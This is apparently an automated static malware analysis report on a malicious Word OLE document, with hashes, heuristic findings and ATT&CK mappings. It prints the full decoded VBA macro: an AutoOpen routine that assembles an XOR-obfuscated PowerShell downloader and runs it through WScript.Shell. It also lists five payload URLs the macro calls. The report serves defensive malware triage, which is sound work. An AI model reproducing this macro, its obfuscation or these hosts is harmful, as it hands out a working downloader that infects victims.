Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 78ef949041e872c9…

MALICIOUS

Office (OLE)

209.1 KB First seen: 2018-07-23
MD5: f13b32576f2464eb10bb43425cee4325 SHA-1: 91eacdb0241cff64fb3f6f83aafc5d5796d37027 SHA-256: 78ef949041e872c953ed3585a2560581961ff856a5f9c799dd7cad9ed7daf40b
250 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The sample is a malicious OLE document containing a VBA macro with an AutoOpen subroutine. This macro utilizes WScript.Shell and CreateObject, indicating an attempt to execute arbitrary code. The presence of these functions strongly suggests the macro is designed to download and execute a secondary payload, a common technique for initial compromise.

Heuristics 9

  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
       hoQaSK = rbNpB - moRtT * 19309 / qrQoZ / 82301 * 44185 * FhikwG + 98640 - (zHFuS / tViZjw)
PNFAA = PRrEPwrE + CreateObject("Wscript.shell").Run(NCUUluW + Chr(vbKeyP) + zNOCrKJIIw + Chr(vbKeyO) + iaBWhJiwV + winkzkDX, 905382965 - 905382965)
   GLAWG = aAFPRU - RAujV * 39969 / SlNpWP / 49672 * 15969 * ZtwSQS + 95872 - (cLzVW / HGdtKH)
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
       hoQaSK = rbNpB - moRtT * 19309 / qrQoZ / 82301 * 44185 * FhikwG + 98640 - (zHFuS / tViZjw)
PNFAA = PRrEPwrE + CreateObject("Wscript.shell").Run(NCUUluW + Chr(vbKeyP) + zNOCrKJIIw + Chr(vbKeyO) + iaBWhJiwV + winkzkDX, 905382965 - 905382965)
   GLAWG = aAFPRU - RAujV * 39969 / SlNpWP / 49672 * 15969 * ZtwSQS + 95872 - (cLzVW / HGdtKH)
  • Payload URL decoded from an encoded PowerShell loader (5 URLs) high OLE_VBA_ENCODED_PS_DROPPER_URL
    A VBA macro assembles (from literals scattered across helper functions) a WScript.Shell command that runs a PowerShell stage-2 loader whose download URL is hidden in a numeric char-code array — decoded at runtime by [char]($_ -bxor k) (or +k / -k) after splitting on obfuscated delimiters. The decoded hosts (often an @-separated fallback list dropped to %TEMP% and executed) are the next-stage payload URLs, never contiguous on disk; surfaced as IOCs. Self-validating: only a transform yielding a valid host URL is reported.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "HtUrJEfW"
Sub AutoOpen()
On Error Resume Next
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.beraysenbas.com/hs2Jv5Y/ Referenced by macro
    • http://healthprotectionplans.com/e3Se04G/Referenced by macro
    • http://www.homestaynew.com/MNh/Referenced by macro
    • http://www.bodysync.ir/tQseO/Referenced by macro
    • http://www.bachtalias.com/Pv7u9/Referenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 11557 bytes
SHA-256: 64508118f2020ecb86e8334a386a25f4fcc1843d1e19b14bdd819c1b9a2aca9c
Detection
ClamAV: No threats found
Obfuscation or payload: likely
272 of 472 identifiers look randomly generated (e.g. 'iHlwkHGwUUm') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "WzUrJtA"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "HtUrJEfW"
Sub AutoOpen()
On Error Resume Next
   qrWsvh = ttFRrA - BFnIj * 15086 / JCzcwh / 19514 * 23740 * jhjAn + 95251 - (DYihBh / mPEjTw)
   UHNJi = mlqNi - tihkqC * 69204 / XiOTD / 24831 * 40552 * ioIvUM + 44220 - (aoDHFq / CzWfo)
   rNuGtK = jYojE - zpiACl * 78438 / GWjXR / 34459 * 84211 * nzhUr + 54142 - (PjwYT / biYcz)
   EjQbMD = BBrHET - iTZju * 74188 / zuWWN / 55519 * 50344 * QTIJJ + 99920 - (uwMNS / JRicH)
   JCDFQ = cafzG - EWKDI * 5756 / QLHBMz / 23366 * 91706 * wLXZR + 34451 - (KImjb / lmlspC)
   Ozhwj = WQzAfj - ZjLzT * 7521 / jjBam / 54815 * 36998 * MrzqQ + 22460 - (izBGI / nYiBU)
nUiDi (khzulGU + jpswWijZzH)
   zfUYn = sdsjWP - VwmWUw * 92162 / qzktcT / 17645 * 1334 * COvfaF + 70900 - (naZHT / lEjnZd)
   cYtfhz = ptisPv - OKCLt * 27337 / dfQmA / 51402 * 54908 * YlFtaa + 34844 - (LLIUdJ / PzwMh)
   GSLMv = aEouF - bZfkXz * 89840 / XRZdT / 61957 * 38601 * qdrtF + 24686 - (CEHMt / vYArOm)
End Sub
Function nUiDi(iaBWhJiwV)
On Error Resume Next
   vRaqRR = NrSjfa - OljMAJ * 594 / HOzqEl / 24033 * 79353 * sOhYEi + 81562 - (jUblk / tJVBO)
   ibZvuO = jMkqO - AEpFKK * 46627 / RALEbh / 77005 * 15684 * WEhmA + 91618 - (dDvZkN / zPuoZ)
   dQlmGj = fKfjcD - IURuqB * 2933 / VWTXUz / 78843 * 93127 * jXOZzK + 86461 - (ZApdu / iPAckP)
   YXnLqH = obSArc - BUOoI * 55273 / MLjdEw / 62621 * 67910 * jfwDl + 54083 - (MiWns / ZOSDD)
   bQCrHr = XbBcnM - tiFCvm * 70111 / mNPor / 96218 * 90792 * zHYYd + 33060 - (srPJfV / dGFMz)
   hoQaSK = rbNpB - moRtT * 19309 / qrQoZ / 82301 * 44185 * FhikwG + 98640 - (zHFuS / tViZjw)
PNFAA = PRrEPwrE + CreateObject("Wscript.shell").Run(NCUUluW + Chr(vbKeyP) + zNOCrKJIIw + Chr(vbKeyO) + iaBWhJiwV + winkzkDX, 905382965 - 905382965)
   GLAWG = aAFPRU - RAujV * 39969 / SlNpWP / 49672 * 15969 * ZtwSQS + 95872 - (cLzVW / HGdtKH)
   quYiXi = pKSio - ZpXkN * 39403 / BQtSPG / 18087 * 75528 * JYwSv + 91969 - (mWXwQ / HJsVJq)
   JrQEX = LLHilI - FSiUtY * 61910 / ACGlp / 10284 * 90763 * RLBvcZ + 32739 - (baJZQ / dwNqm)
End Function

Function khzulGU()
On Error Resume Next
KEoHN = 32783 * BEqfAW - BWIQQn * POWYw / EmsaEZ * CnQMN / IfMZsr - DQPzW
   bwrji = nJRZF - cJrFs - cqdrwj - uQasWX + OzJUN + FUaNDj * (QYriv - lInsk)
   wmvpSi = 32413 * qPMQa - EoNFvD * fkCpd / ouoXsD * cfGwwd / dRQAJS - DPCJE
VSQlaJm = "wershe" + "ll   " + "       " + "     " + "   & " + Chr(40) + " $V" + "ERBoS" + "epRef" + "EreN" + "ce.t"
hmCnLP = 8047 * rUfnru - ijbbm * URzqnn / vViovG * ALAZFG / VidocJ - tzVuj
   HRCtz = 79995 * cZBsU - zzYhP * RHrNT / fKPli * NnkVKd / wIbTD - YjzVT
   NUDzXc = 11899 * Vlqskz - TfCVf * wnVBL / zCWNuO * jfHDC / AHzsmv - MlaUTY
iHlwkHGwUUm = "ostrI" + "NG" + Chr(40) + Chr(41) + "[1,3" + "]" + Chr(43) + "'X'" + "-joIn" + "''" + Chr(41) + " " + Chr(40) + " [St"
sTjVr = 30390 * wpshvI - fZQctk * TJNnUz / rnqSLN * ZprvE / bTwzw - BoSBA
   jPhhv = 22900 * IkzYvd - OjLbz * fszviG / RMcBt * NmUwa / qisXz - rScwB
   QdYKT = 66399 * QJHBB - kuoFj * hpYJA / QqFwn * mpOuk / PWJYoD - SwiMV
dMoIZciQM = "rInG]::" + "joIn" + Chr(40) + " '' ," + " " + Chr(40) + " '96J29" + "w44@39" + "m121A4" + "2>33@51" + "w105A4" + "3J38"
WLIsUN = 21871 * XirlV - jfQrG * Botsau / AioCid * HZdMWv / lilUd - DbqQuw
   iidTP = 85844 * YzDsQ - ViPLA * JEqNPI / VphOh * klEqIW / BQLPSR - WhmDk
   jhSPRZ = 30000 * ijbMH - GHCEU * iPKHY / zvZoXI * iSZHOu / fzCuJH - cwUoL
lAnDfrZ = "z46w33J3" + "9A48w10" + "0I10A" + "33w48<1" + "06w19I" + "33z38" + "!7w40A45" + "J33>42<" + "48m127<" + "96@46A" + "43A62A12"
BBGlE = 16349 * auHWj - zljGBi * QkDUQ / jHodv * lzLjpj / tjzfNo - NkEtqX
   lQRXK = 82379 * cUluL - fYCjA * KYfiMP / QaVwFA * ivSBC / XZULOI - qczZQT
   PkQzlV = 99141 * FmQLov - nEtZEk * SFqfi / wCumXv * PujEL / RdLOBA - SwAzQT
NwBwNzFl = "1J99A44" + "J48<48!" + "52m126z" + "107@1" + "07!5" + "1w51" + "A51A106A3" + "8m33@54!"
CMiEK = 38099 * ZpjjA - IizAiJ * poRiPm / aYklw * kTsKV / PJZjFE - XbfHLF
   vRLHF = 73600 * jCrin - aftVpO * TqHro / wYzCvV * tazjb / ZplbUk - HLnCf
   mUNuAo = 45364 * rBEzj - Loqoiv * kQFMdo / fvRZj * kPFwK / PDRXfH - wLnoS
jIOUd = "37<61>55" + ">33<42w38" + "z37>55" + "!106" + "@39J4" + "3@41z10" + "7m44<" + "55A11" + "8<14A50" + ">113m29!"
IiLidP = 13889 * oolnu - LllcqP * UzFZO / pnoLK * svzzO / YaBhjB - vPriS
   JzBEIi = 44039 * IhvkfR - twisiw * qSsZEH / DsHwrW * iLzQn / GWVnzq - CPEwok
   wVFnl = 10440 * PwRRA - bhCfLl * qRoXn / ENSCw * VrMln / NuFXa - jjDZf
RutoTVG = "107w4w44" + "m48<48<5" + "2A126A10" + "7<107J44" + "m33>37" + "@40>48z" + "44@52J" + "54@4" + "3m48@33" + "w39A48>4"
dLjBdK = 79303 * utIVN - dwqEY * rKQGzH / MoLEwV * wHmPwD / DKNjYw - Brlzs
   jfsvdj = 63237 * AVAvwv - HimPv * XwqRS / fnGNfi * STRaN / EFHstJ - iqcBQJ
   rTvaEW = 34787 * MjoMAO - WLbIVt * zCWYKp / zZHEv * cMMKZ / OqbYXY - cijJoW
uBtiCwrHaO = "5>43w42<5" + "2w40!37" + "J42m5" + "5<106!3" + "9I43<41z1" + "07!33" + "w119I23"
GmBFvN = 9928 * iQjwtO - qDpqrl * chWGm / jBiMkW * uNwNG / zfsOd - cpdYo
   DTsEfL = 55627 * PJhHE - wKzQi * fzYiwA / MhQPSh * DITIf / IzbRr - TbdUj
   pHmKTj = 77946 * WwhhWN - BfcEb * olojTt / KtDdui * OakuPZ / jAwKrP - aJATM
JQJEsZiC = "@33m116@1" + "12A3!10" + "7J4A" + "44@48w48" + "I52w1" + "26z107" + "@107m51z" + "51!51I1" + "06@44" + "@43!4"
dKptk = 14847 * XLZhs - uEAXPw * oQjqDf / AZjnkV * jXwBHU / WNthL - zTBZi
   AVzazp = 12077 * cvEmo - Ibvip * EHlqZ / djjjCK * ouscJu / SOEFt - CwtzO
   cdNaw = 81631 * LAzim - XINhBW * diRCq / rTwhX * IjtGT / AKDJGY - GjnDmm
jjUIh = "1z33z5" + "5>48" + "I37A61A42" + "J33m" + "51m106A39" + "w43J4" + "1A107<9m"
wqSCa = 36620 * APvVEX - RrBjH * WqAmZj / HGDuNT * ZPTKUb / NuQvq - zulUZ
   CWWzLL = 69086 * wlOTZW - NiBujB * EUXsT / ZDPKvY * lMvuH / KLRun - MdVJCr
   FjHpjc = 82767 * ktMAI - icBYrO * WIvkqj / wMVjU * OMSZm / dCiTiP - FmUtMd
nwnsNwGPcV = "10w44w10" + "7I4!44J" + "48>48@52J" + "126J107!" + "107I" + "51!51m51A" + "106A38J43" + "<32<" + "61<55!6"
mqiwl = 74539 * rzFPX - mrcDH * WfCltH / FvMRCh * jPpGHi / XOaAj - MKqsGJ
   PiXLF = 80109 * YcYYcj - XRKblJ * crpMUC / jcTIFJ * fpGUz / FaGvFj - iUKRbT
   ztkEpr = 99674 * UfiDhk - WCVwYd * RbkMYY / ETKsvp * fkRPjc / iszwz - noXKk
GTjYJROli = "1J42<" + "39w106m45" + ">54!1" + "07>48z2" + "1m55z33z1" + "1w107"
khzulGU = VSQlaJm + iHlwkHGwUUm + dMoIZciQM + lAnDfrZ + NwBwNzFl + jIOUd + RutoTVG + uBtiCwrHaO + JQJEsZiC + jjUIh + nwnsNwGPcV + GTjYJROli
   uICtZh = 27672 * bhwPXB - EiVBO * hLGLOz / YWKtc * NinUw / bDjHpH - lMwuaW
   wcJUc = 37129 * nPLXKm - wrRDjp * vijnN / zGQwAI * qOWQpw / poXUn - BdwXT
   uNwwh = 21581 * NUFXFn - nWROZ * nfADR / RNpbb * XWcAhr / kBNjbk - Twzqfj
End Function
Function jpswWijZzH()
On Error Resume Next
MotSn = 47590 * sYDZwh - PMKzz * SzhjE / XjizFz * qWiLwz / QRSiQ - QrlpNK
   ESOMs = 58919 * tTYsdn - QYnoZb * PZwYTh / VQwvvi * EOnpN / riprw - ACXKBG
   umOGJ = 25586 * BQJbz - HrilBO * ivBfDS / Jfvsk * uuDHXB / mOAHrj - nZIzow
YwGmJFj = "J4I44J48@" + "48J52I126" + "w107!" + "107I51w5" + "1>51z1" + "06z38<37!" + "39I44>4" + "8>37I" + "40!4"
loSwAC = 84261 * fNjUwY - ESFRV * spAfa / DmtUw * pKPTna / acpwwN - HdwLCJ
   UwljC = 83106 * EVUQq - jMnaN * fNTvtn / dWjXw * mkavS / UKfit - qAdIam
   itwSR = 50622 * oJmskX - Nzlif * uaDtB / jIZqi * mfKRQ / WzFlS - DOqkt
dMkkYMs = "5@37A" + "55>10" + "6<39I" + "43J41I107" + "A20J" + "50m115J" + "49@125A"
wlzAa = 48640 * TNwpQd - wPVnD * visVVz / aqlHBM * dJRtE / FivJmu - zGLCM
   KhWlWE = 80114 * QzuiO - Eazrw * jkHfSI / Apnbv * tfAvB / GbKkW - bXAwd
   wVPsbi = 51495 * QcconD - upwci * ZNnjia / lTfjuG * BNQpO / noGSVz - AFRMZi
HCUAjl = "107!99!10" + "6w23z5" + "2w40>4" + "5z48>108" + "w99w4" + "!99!10"
BGvJVp = 42359 * ijdtzM - SMDHDs * vmQjzH / OwpIB * iKmoGO / ipzZCi - arHSav
   YIcJt = 8106 * Cwzttj - FjYIOE * kHVOjj / jCSJQn * tlGwKw / sJZbSC - ZsELai
   LItor = 28388 * QlokwU - HaPBp * TGpqdP / jXqWhG * TBtAPA / OEJoE - PTRsR
rkipO = "9A127@96z" + "19>45m30z" + "100m121" + "J100J" + "99z114J1" + "17>117J9" + "9<127" + "m96z34A11" + "A9m121" + "@96@33>" + "42>50>" + "126m4"
wRiCmA = 72310 * YlnzM - lahWq * wbXjt / QMTuCV * ZzoaL / qDNoZi - ffbIl
   zjETCK = 53224 * BtvRCr - vFhOmp * ECjCZC / QFzFw * FOiqp / NLVIrm - iTNjd
   tEjVuv = 18417 * kZFiiR - mHwzVa * VkmzB / JkkLIL * PtiufC / GiIKrQ - tXiIQP
cbcHVc = "8z33" + "A41w52A11" + "1<99A24m9" + "9I111" + "J96A19>4" + "5J30I111m" + "99A10" + "6m33>" + "60@33!99J" + "127<34A" + "43!54@33" + ">37<39I4"
ztTHqI = 52445 * mhria - jwiEj * UmAOnl / hPSdP * JjmdnG / zjUIWK - VjEMXE
   jwjwtb = 78450 * ouWWoO - dCUTdt * cbFkAP / GDsvi * wuzlaI / qNoUb - Aucnz
   SNsFT = 10881 * tJUDbj - WzTuz * tkSrr / rnzLFG * qqWtX / BdFaz - uaczm
tzBlOr = "4@108A96z" + "28@1" + "6@13z100m" + "45<42I1" + "00<9" + "6w46!43m6" + "2z109" + "J63@" + "48A54!61@"
Awiprd = 41720 * YcNQm - XkYaSE * TZLkv / Kdihh * VOpck / BqGiwi - snuZDK
   RawLiu = 2207 * pOLvw - zRtbA * vawcn / SnzCP * LZnfMi / bsKim - JblGd
   ZThZXE = 93402 * Kuqvj - RkhHoi * NHkah / CVQEiW * uBhQFf / hfMsDz - aDMROf
VbFCYM = "63@96I" + "29w4" + "4!39w" + "106<0" + ">43w5" + "1m42" + "w40m43<37" + "J32>"
AodPD = 53140 * VRjqC - jSTYRw * sZAvYM / YwQRHY * rhFah / IvoCvU - wsbmjz
   LLwwp = 27750 * wupLYn - PCQCJ * jhvsWj / cSDnQr * iqlSP / FilWj - KuLAwO
   Manhrr = 68967 * XAPidk - lOwkHi * kwAEbt / XiiKww * tXjpG / YnmNqA - HMowp
kvWWkKA = "2z45@" + "40!33m108" + "J96w28I1" + "6m13>104m" + "100@96!3" + "4J11z9@10" + "9I127<2" + "3>48<37z" + "54J48I10" + "5I20w54"
ouqsi = 89939 * qFcpf - DjCzoA * WkiAf / zELAJ * QffEth / vWiKw - lIlaMk
   PqphnQ = 81702 * zWjYh - ZsqOuA * ZzLmN / kZKqjU * jaDqwY / ZYRGp - PjPVZ
   VHhEQp = 25358 * zVfFS - PRYiJ * PEvoa / RuwLiw * jTJwa / DUAwBC - iiWqM
ClZzfart = "z43A39" + "w33J55<" + "55<100@96" + "z34m11<" + "9A127!" + "38>54" + "J33m37!47" + ">127J"
EwVwJ = 32086 * IfpvW - HmrLcG * AlZwq / kPEIjG * kiwcbu / woZqFC - CjZjZ
   DSLQLt = 57526 * XTclqj - jjFTzq * zOGul / DiXFz * uzXDwE / FfBYMK - QuCRX
   IOTZY = 11487 * jtEXJ - nCdqPk * YSMLiq / UhffYG * aWKXDV / BDjChQ - XZtKz
tPUzdmFa = "57I39@3" + "7<48@39I" + "44A63A5" + "7!57'-sp" + "LIT '!" + "' -spL" + "IT'W'" + "-sPlI" + "t '<'-Sp" + "lit'Z' -s" + "plit '>" + "' -sPLit'"
wknOaY = 99853 * IrzrcE - nicLP * qKSVZS / WBYFA * WobwK / CrMLnK - FirpY
   lpBIqi = 34020 * zOZwCs - jSSLO * XPcIB / ZwHlU * PKkUC / UDlBpK - iXBrH
   roHaVs = 1430 * vSGSs - SilMmS * Nuiwi / NMafM * ZIVOO / DJpHY - svStX
QHmZnXPq = "A' -spl" + "IT'I' -s" + "PlIT'm" + "' -Sp" + "LIT '@'" + " -spLIT "
YTzoX = 46593 * VHoUE - njYIDV * jrNmfS / LfGIWk * bqzVG / jRHhB - AzcCUj
   iCGPdu = 56058 * qhntUn - SSizTW * jIbGV / FjsTo * AJuKib / nOWVvn - MackwE
   WmjGKI = 9698 * tpAjwU - LtamwS * Rkflp / ojdlb * NYvkmN / QncGA - VZljb
pSdwdab = "'j'|" + "fOReACH{" + " [cHa" + "r]" + Chr(40) + " $" + "_-bXOr" + " 0x44  " + Chr(41) + "}" + Chr(41) + Chr(41) + " " + Chr(41) + " "
jpswWijZzH = YwGmJFj + dMkkYMs + HCUAjl + rkipO + cbcHVc + tzBlOr + VbFCYM + kvWWkKA + ClZzfart + tPUzdmFa + QHmZnXPq + pSdwdab
   anJpF = 16148 * Svrztw - KLNPO * Qzaifl / ZljhDW * ZOtBhj / jPWuV - SFjhk
   kIVVwa = 48170 * mwKMO - CGCQJ * YuCNpd / hTtCzB * rmsDz / NtPRd - rvAPX
   YEbMi = 19140 * YGhLK - XOkvSM * ibkjDk / QRUFC * CzdwCO / MLRwDM - wGiJNV
End Function


Attribute VB_Name = "JzoNEVwKz"

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